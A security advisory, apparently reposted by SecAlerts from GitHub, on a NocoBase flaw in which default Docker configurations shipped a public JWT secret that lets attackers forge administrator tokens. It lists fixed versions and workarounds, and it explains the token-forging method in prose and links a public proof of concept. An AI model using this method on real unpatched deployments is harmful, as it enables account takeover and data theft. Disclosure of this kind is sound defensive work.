Because the official one-click Docker deployment configuration historically provided a public default JWT key, attackers can forge valid JWT tokens without possessing any legitimate credentials. By constructing a token with a known userId (commonly the administrator account), an attacker can directly bypass authentication and authorization checks.

Successful exploitation allows an attacker to:

- Bypass authentication entirely - Impersonate arbitrary users - Gain full administrator privileges - Access sensitive business data - Create, modify, or delete users - Access cloud storage credentials and other protected secrets

The vulnerability is remotely exploitable, requires no authentication, and public proof-of-concept exploits are available. This issue is functionally equivalent in impact to other JWT secret exposure vulnerabilities such as CVE-2024-43441 and CVE-2025-30206.

Deployments that used the default Docker configuration without explicitly overriding the JWT secret are affected.

---

Patches

✅ The vulnerability has been fully patched through a secure JWT key management redesign.

The remediation enforces the following security guarantees:

- JWT secrets are no longer allowed to fall back to public default values. - Secrets must either: - Be explicitly provided by the user, or - Be securely generated using cryptographically strong randomness at first startup. - Generated secrets are persisted securely with restricted filesystem permissions. - Invalid or weak secret values immediately trigger a startup failure.

✅ Fixed Versions: - NocoBase ≥ 1.9.23 - NocoBase ≥ 1.9.0-beta.18 - NocoBase ≥ 2.0.0-alpha.52

---

Workarounds

If upgrading is not immediately possible, the following temporary mitigations must be performed to reduce risk:

1. Explicitly set a strong, randomly generated JWT secret via environment variables APPKEY. 2. Restart all running NocoBase instances so the new secret takes effect. 3. Invalidate all existing JWT sessions, forcing complete user re-authentication. 4. Verify that no default secret values are present in: - docker-compose.yml - .env files - Kubernetes Secrets

---

References

- CVE Record: CVE-2025-13877 - VulDB Entry: https://vuldb.com/?id.334033 - Public Exploit Proof: https://gist.github.com/H2u8s/f3ede60d7ecfe598ae452aa5a8fbb90d

- Affected Default Docker Configurations: - https://github.com/nocobase/nocobase/blob/main/docker/app-mysql/docker-compose.yml#L13 - https://github.com/nocobase/nocobase/blob/main/docker/app-mariadb/docker-compose.yml#L13 - https://github.com/nocobase/nocobase/blob/main/docker/app-postgres/docker-compose.yml#L11 - https://github.com/nocobase/nocobase/blob/main/docker/app-sqlite/docker-compose.yml#L11

- Official Deployment Documentation: - https://docs.nocobase.com/welcome/getting-started/installation/docker-compose - https://v2.docs.nocobase.com/get-started/installation/docker

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203